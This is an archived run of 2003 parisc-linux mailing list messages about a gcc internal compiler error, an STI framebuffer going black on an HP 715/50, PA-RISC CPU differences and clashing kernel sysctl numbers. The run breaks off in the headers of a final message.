Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43C574829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 00:05:27 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ZP5t-0002Xw-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 07 Jul 2003 08:03:21 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 7 Jul 2003 08:05:25 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18821

Hi all,

Just compiling kernel 2.4.21-pa01 and unfortunately got following ICE:
gcc -D__KERNEL__ -I/usr/src/kernel-source-2.4.21-pa01-lvm-107-20030704/include
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7100
 -D_JFS_4K -nostdinc -I /usr/lib/gcc-lib/hppa-linux/3.3.1/include -DKBUILD_BASENAME=jfs_xtree
 -c -o jfs_xtree.o jfs_xtree.c
jfs_xtree.c: In function `xtUpdate':
jfs_xtree.c:2351: error: insn does not satisfy its constraints:
(insn 7698 1165 1168 29 (nil) (set (reg:SI 24 %r24)
        (reg:SI 88 SAR [427])) 37 {*pa.md:2265} (nil)
    (nil))
jfs_xtree.c:2351: internal compiler error: in reload_cse_simplify_operands,
at reload1.c:8345
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.
make[3]: *** [jfs_xtree.o] Error 1
make[3]: Leaving directory `/usr/src/kernel-source-2.4.21-pa01-lvm-107-20030704/fs/jfs'
make[2]: *** [first_rule] Error 2
make[2]: Leaving directory `/usr/src/kernel-source-2.4.21-pa01-lvm-107-20030704/fs/jfs'
make[1]: *** [_subdir_jfs] Error 2
make[1]: Leaving directory `/usr/src/kernel-source-2.4.21-pa01-lvm-107-20030704/fs'
make: *** [_dir_fs] Error 2

[gcc -v:
...
gcc version 3.3.1 20030626 (Debian prerealse)

Do I actualy report it?

Thanks for advise,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Newbigin <jnewbigin@venus.it.swin.edu.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI frame buffer on 715/50
Date: Mon, 7 Jul 2003 21:09:36 +1000 (EST)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307072019390.6545-100000@venus.it.swin.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622562 27546 80.91.229.3 (22 Nov 2014 02:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 05:09:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from it.swin.edu.au (venus.it.swin.edu.au [136.186.5.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 056EB483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 05:09:39 -0600 (MDT)
Original-Received: (qmail 12585 invoked by uid 501); 7 Jul 2003 11:09:36 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 7 Jul 2003 11:09:36 -0000
X-AntiVirus: scanned for viruses by AMaViS
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18822

I am trying to get my 715/50 up and running again but I am having trouble 
with the sti framebuffer.  12 months ago I started to look at this (see
http://lists.parisc-linux.org/hypermail/parisc-linux/8761.html )

I have followed the instructions from that page and have built a kernel 
which is working (2.4.21-pa1).  When I do not build the sti framebuffer, 
the sti console works fine.  When I do build the "Generic STI frame 
buffer device support", everything works except for the image on the 
monitor.  Very early in the kernel boot (before I can read the output) the 
screen goes black.  The serial console works, network, ssh, everything 
works.  If I press the TOC I can see the image that should have been visible
so I am sure that most of it is working.

I tried all the kernel config options, none of which helped.  There are no 
errors from the STI driver.  I am sure there is something simple required 
but I don't know where to look next.

The the relevant dmesg output is below.  Any help would be much 
appreciated.

John.

STI GSC/PCI graphics driver version 0.9
Trying STI ROM at f4000000, hpa at f4000000
STI byte mode ROM at f4000000, hpa at f4000000
selected 8x16 fb-font VGA8x16
STI id 27f12392-40a00499, conforms to spec rev. 8.02
 supports 0 monitors
 font start 00003fd4
 region list 00003fbc
 init_graph 000000c0
 bus support 00
 ext bus support 00
 alternate code type 0
region #0: phys f4000000, virt f4000000, len=252kB, btlb=0, sysonly=0, 
cache=0, last=0
region #1: phys f5000000, virt f5000000, len=16384kB, btlb=1, sysonly=0, 
cache=0, last=0
region #2: phys f4100000, virt f4100000, len=2560kB, btlb=0, sysonly=0, 
cache=0, last=0
region #3: phys f403f000, virt f403f000, len=4kB, btlb=0, sysonly=0, 
cache=0, last=0
region #4: phys f4380000, virt f4380000, len=4kB, btlb=0, sysonly=1, 
cache=0, last=1
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 1024 layout
regions at f4000000 f5000000 f4100000 f403f000
regions at f4380000 00000000 00000000 00000000
reent_lvl 0
save_addr 00367c00
monitor 0
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 00368260 (size=256 bytes)
8 bits per pixel
8 used bits
8 planes
attributes 00000036
STI device: HPA1991AGrayscale
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 27f12392, mmio: 0xf4100000




From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.3.1 ICE
Date: Mon, 7 Jul 2003 12:12:43 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030707111243.GX23597@parcelfarce.linux.theplanet.co.uk>
References: <3F03A42100000529@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622563 27550 80.91.229.3 (22 Nov 2014 02:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 05:12:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 479D6483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 05:12:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19ZTvH-0008G1-QC; Mon, 07 Jul 2003 12:12:43 +0100
Content-Disposition: inline
In-Reply-To: <3F03A42100000529@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18823

On Mon, Jul 07, 2003 at 08:05:25AM +0200, Joel Soete wrote:
> [gcc -v:
> ...
> gcc version 3.3.1 20030626 (Debian prerealse)
> 
> Do I actualy report it?

Yes.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.3.1 ICE
Date: Mon, 7 Jul 2003 15:09:49 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3F03A421000007FB@ocpmta1.freegates.net>
References: <20030707111243.GX23597@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622563 27551 80.91.229.3 (22 Nov 2014 02:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 07:09:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC357483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 07:09:52 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ZVib-0007w0-00; Mon, 07 Jul 2003 15:07:45 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 7 Jul 2003 15:09:49 +0200
In-Reply-To: <20030707111243.GX23597@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18824

> > 
> > Do I actualy report it?
>
> Yes.
Done:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=11453

Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Differences PA8500/PA8600
Date: Mon, 7 Jul 2003 11:13:21 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200307071513.h67FDLjM000719@hiauly1.hia.nrc.ca>
References: <20030706173854.GC8562@blinder.doorslam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622563 27552 80.91.229.3 (22 Nov 2014 02:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paul@doorslam.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 09:13:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1B0A483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 09:13:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h67FDMgL000720;
	Mon, 7 Jul 2003 11:13:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h67FDLjM000719;
	Mon, 7 Jul 2003 11:13:21 -0400 (EDT)
In-Reply-To: <20030706173854.GC8562@blinder.doorslam.net> from "Paul Weissmann" at Jul 6, 2003 07:38:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18825

>   Could someone here on this list might shed some led on where the
> differences between these CPUs are?

Don't know.  As far as GCC goes, we treat all 8000 processors the same.
Jeff Law had access to some proprietory information when he did the
DFA scheduling model.  However, that predates the 8600.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 18:00:43 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3F03A42100000903@ocpmta1.freegates.net>
References: <1056732728.4348.52.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622564 27556 80.91.229.3 (22 Nov 2014 02:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:04 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	"HPPA List" <parisc-linux@parisc-linux.org>
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 10:00:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E51E483B
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 10:00:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ZYNy-0006zs-00; Mon, 07 Jul 2003 17:58:38 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 7 Jul 2003 18:00:43 +0200
In-Reply-To: <1056732728.4348.52.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18826

Hi Alan,

> >On Gwe, 2003-06-27 at 17:21, Joel Soete wrote:
> > which interfere with your:
> >  	KERN_HPPA_PWRSW=57,	/* int: hppa soft-power enable */
> >  	KERN_HPPA_UNALIGNED=58,	/* int: hppa unaligned-trap enable */
> > };
> > 
> > What to do?
> 
> Get the HP ones into 2.5 then they are fixed "right" values

Ok but now in 2.4.22-pre3:
[...]
  	KERN_EXCEPTION_TRACE=58,	/* boolean: exception trace */
[...]

Thanks for further advise,
    Joel




------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: 07 Jul 2003 17:05:52 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1057593949.2749.59.camel@dhcp22.swansea.linux.org.uk>
References: <3F03A42100000903@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622564 27560 80.91.229.3 (22 Nov 2014 02:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:04 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 10:08:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD446483B
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 10:08:34 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h67G5rKd003516;
	Mon, 7 Jul 2003 17:05:54 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h67G5qBC003514;
	Mon, 7 Jul 2003 17:05:52 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3F03A42100000903@ocpmta1.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18827

On Llu, 2003-07-07 at 17:00, Joel Soete wrote:
> > Get the HP ones into 2.5 then they are fixed "right" values
> 
> Ok but now in 2.4.22-pre3:
> [...]
>   	KERN_EXCEPTION_TRACE=58,	/* boolean: exception trace */
> [...]

Same comment still applies. The 2.5. ones are definitive. If someone
submits a 2.4 one clashing with a different 2.5 one tell Marcelo to
revert it ASAP.



From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 17:31:31 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20030707163131.GB23597@parcelfarce.linux.theplanet.co.uk>
References: <3F03A42100000903@ocpmta1.freegates.net> <1057593949.2749.59.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622564 27565 80.91.229.3 (22 Nov 2014 02:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:04 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Marcelo Tosatti <marcelo@conectiva.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 10:31:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ED884839
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 10:31:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19ZYtn-0000m6-8s; Mon, 07 Jul 2003 17:31:31 +0100
Content-Disposition: inline
In-Reply-To: <1057593949.2749.59.camel@dhcp22.swansea.linux.org.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18828

Marcelo, looks like you have a problem to sort out:

--- ../marcelo-2.4/include/linux/sysctl.h       Thu Jul  3 08:59:18 2003
+++ include/linux/sysctl.h      Mon Jul  7 10:19:02 2003
@@ -124,28 +127,36 @@
        KERN_CORE_USES_PID=52,          /* int: use core or core.%pid */
        KERN_TAINTED=53,        /* int: various kernel tainted flags */
        KERN_CADPID=54,         /* int: PID of the process to notify on CAD */
-       KERN_CORE_PATTERN=56,   /* string: pattern for core-files */
-       KERN_PPC_L3CR=57,       /* l3cr register on PPC */
-       KERN_EXCEPTION_TRACE=58, /* boolean: exception trace */
+       KERN_PIDMAX=55,         /* int: PID # limit */
+       KERN_CORE_PATTERN=56,   /* string: pattern for core-file names */
+       KERN_PANIC_ON_OOPS=57,  /* int: whether we will panic on an oops */
 };

Bad PPC people.  And bad KERN_EXCEPTION_TRACE people, whoever they are.
The PPC one needs to be changed, no matter what.  And the KERN_EXCEPTION
people need to get a sysctl number allocated by Linus.

Looks like the VM people have been naughty too:

-       VM_MAX_MAP_COUNT=11,    /* int: Maximum number of active map areas */
-       VM_MIN_READAHEAD=12,    /* Min file readahead */
-       VM_MAX_READAHEAD=13,    /* Max file readahead */
+       VM_DIRTY_BACKGROUND=11, /* dirty_background_ratio */
+       VM_DIRTY_RATIO=12,      /* dirty_ratio */
+       VM_DIRTY_WB_CS=13,      /* dirty_writeback_centisecs */
+       VM_DIRTY_EXPIRE_CS=14,  /* dirty_expire_centisecs */
+       VM_NR_PDFLUSH_THREADS=15, /* nr_pdflush_threads */
+       VM_OVERCOMMIT_RATIO=16, /* percent of RAM to allow overcommit in */
+       VM_PAGEBUF=17,          /* struct: Control pagebuf parameters */
+       VM_HUGETLB_PAGES=18,    /* int: Number of available Huge Pages */
+       VM_SWAPPINESS=19,       /* Tendency to steal mapped memory */
+       VM_LOWER_ZONE_PROTECTION=20,/* Amount of protection of lower zones */
+       VM_MIN_FREE_KBYTES=21,  /* Minimum free kilobytes to maintain */

SCTP is bad too:

-       NET_KHTTPD=17
+       NET_SCTP=17, 


On Mon, Jul 07, 2003 at 05:05:52PM +0100, Alan Cox wrote:
> On Llu, 2003-07-07 at 17:00, Joel Soete wrote:
> > > Get the HP ones into 2.5 then they are fixed "right" values
> > 
> > Ok but now in 2.4.22-pre3:
> > [...]
> >   	KERN_EXCEPTION_TRACE=58,	/* boolean: exception trace */
> > [...]
> 
> Same comment still applies. The 2.5. ones are definitive. If someone
> submits a 2.4 one clashing with a different 2.5 one tell Marcelo to
> revert it ASAP.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
